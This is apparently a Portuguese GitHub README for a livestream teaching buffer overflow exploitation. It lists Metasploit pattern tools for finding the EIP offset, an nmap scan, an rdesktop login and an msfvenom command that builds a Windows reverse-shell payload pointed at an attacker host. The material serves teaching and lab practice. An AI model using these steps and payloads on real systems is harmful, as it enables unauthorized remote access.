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Material utilizado na Live sobre Buffer Overflow

Python 100.00%

live_bufferoverflow's Introduction

Live - Buffer Overflow, uma introdução ao assunto

Link do Youtube

Para quem perdeu a Live, segue o link do vídeo gravado do YouTube

https://youtu.be/oGZ01rvbfwE

Tabela ASCII

Char  Dec  Oct  Hex   Linux
(nl)   10 0012  x0a   \n
(cr)   13 0015  x0d   \r
A      65 0101  x41
B      66 0102  x42
C      67 0103  x43

Comandos utilizados

Gerando texto único para identificação da posição do EIP

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700

Checando a posição (offset) do EIP

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438

Conectando no rdesktop

rdesktop -u usuario -p senha -g 65% -x m endereco

Buscando informações do serviço

nmap -Pn -p21 -A 192.168.15.150

Gerando payload do shell reverso

msfvenom -p windows/shell_reverse_tcp LHOST=IP_atacante LPORT=Porta_atacante -b "\x00\x0a\x0d\x40" -a x86 -f python

live_bufferoverflow's People

Contributors

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